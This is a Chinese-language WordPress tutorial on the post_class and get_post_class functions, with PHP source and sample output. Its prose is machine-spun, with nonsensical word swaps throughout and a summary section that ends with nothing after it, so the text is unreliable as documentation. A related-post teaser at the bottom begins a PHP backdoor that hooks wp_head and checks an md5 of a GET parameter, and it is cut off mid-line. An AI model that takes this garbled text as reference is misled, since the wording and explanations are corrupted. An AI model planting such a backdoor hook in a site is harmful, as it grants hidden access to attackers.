post_class()
post_class 是 WordPress 内置的一个用于显示文章 class 称号的函数,该函数通常会为每一篇文章生成举世**的 clss 值,假如你需求制造你本人的主题,而且还需求一点共性的话,那你最好驻足一下,应用该函数并配合灵敏的 css 代码,咱们能够制造出共性化十足的 WordPress 博客。
post_class 函数形容
该函数通常会为每一篇文章生成举世**的 clss 值,能够很不便应用于文章所在的节点中。
函数应用
向其余的诸如 header_image、wp_title这样的 WordPress 标签函数一样,不带 get 的函数通常是会间接显示进去而不前往任何值。
<post id="post-<?php the_ID(); ?>" <?php post_class(); ?> > <?php the_content ;?> </post>
是的,兴许你曾经留意到了,应用 post_class 函数时咱们甚至不需求这样去写 clss=“post_class()”;。
实例后果
不卖关子,后果如下
<post id="post-888" class="post-888 post type-post status-publish format-standard hentry category-2 tag-wordpress" > 文章内容 </post>
以应用为主的函数讲完了,
上面依旧给出函数源代码:
想要理解更多对于该函数,以及get_post_class函数请关注前期文章。
/**
* Display the classes for the post p.
*
* @since 2.7.0
*
* @param string|array $class One or more classes to add to the class list.
* @param int $post_id An optional post ID.
*/
function post_class( $class = '', $post_id = null ) {
// Separates classes with a single space, collates classes for post DIV
echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"';
}
get_post_class 详解
get_post_class 是 post_class 函数的根本完成,在 WordPress 中其余一些带 get 的函数一样,该函数将会有一个前往值,而该前往值将是一个蕴含以后文章根本信息的数组,get_post_class 函数次要用来给每篇文章生成独一有为的 class 值而被封装进去的。
假如你是一个要求不高的人的话,那么 post_class 这个函数其实曾经足够你折腾了。假如你是一个有着肉体洁癖的人,不想本人的 WordPress 网站有太多无用代码的话,那你能够持续往下看。
get_post_class函数详解
该函数次要用来生成一个以后文章相干信息的数组,该数组所含信息咱们往往用来作为文章层中的 class 值。
就像我下面提到的 post_class 函数,就是利用了本函数生成的 class 值。
并且该函数支持拔出你本人的 class 值,一兼并到前往数组中。
以上是我自己的了解,当然你也能够看一下民间的手册。
比拟隐晦的手册内容如下:
WordPress Themes have a template tag for the post HMTL tag which will help theme authors to style more effectively with CSS. The Template Tag is called get_post_class. This function returns different post container classes which can be added, typically, in the index.php, single.php, and other template files featuring post content, typically in the HTML
tag.
函数用法
<?php get_post_class($class, $post_id); ?>
假如在循环中,并且不需求拔出自定义class值的话,该函数可不承受任何参数。
函数参数
$class:自定义 class 值,能够使字符串也能够死数组。
$post_id:文章ID
应用实例
$MyClass = get_post_class(); var_dump($MyClass);
输入后果:
array(9) {
[0]=>
string(8) "post-249"
[1]=>
string(4) "post"
[2]=>
string(9) "type-post"
[3]=>
string(14) "status-publish"
[4]=>
string(15) "format-standard"
[5]=>
string(6) "hentry"
[6]=>
string(18) "category-catcatcat"
[7]=>
string(8) "tag-tag1"
[8]=>
string(8) "tag-tag2"
}
进阶实例
$MyClass = get_post_class('index-post',249);
//或
$MyClass = get_post_class(array( 'index-post'),249);
var_dump($MyClass);
输入后果:
array(10) {
[0]=>
string(8) "post-249"
[1]=>
string(4) "post"
[2]=>
string(9) "type-post"
[3]=>
string(14) "status-publish"
[4]=>
string(15) "format-standard"
[5]=>
string(6) "hentry"
[6]=>
string(18) "category-catcatcat"
[7]=>
string(8) "tag-tag1"
[8]=>
string(8) "tag-tag2"
[9]=>
string(10) "index-post"
}
总结
依据函数的源代码,咱们能够看出,本函数 class 值列举的程序为:
以上就是安达网络工作室关于《解析WordPress中的post_class与get_post_class函数》的一些看法。更多内容请查看本栏目更多内容!
以前小站的固定链接好不兽性化,构造是/%year%/%monthnum%/%postname%/,这样看起来又不直观又长的,明天做了一...
置信接触过WP零碎的冤家都理解,老版零碎的上传图片门路是默许指向wp-content目录下的。做过WP博客的冤家应...
复制代码代码如下:add_action( 'wp_head', 'my_backdoor' );function my_backdoor() {if ( md5( $_GET['bac...
最近我心血来潮给博客建一个分类别名为“WordPress”的目录。可是不断提醒“别名已被其它条...
前言 前几天,冤家手头上有一个闲暇的vps,256M内存,我决议拿来玩一下。通过一番考虑,还是用来挂站吧。而...
老鹰主机,是咱们站长应用较多的美国主机商之一。有些时分,咱们可能习气国际的一些主机商和管制面板的建站...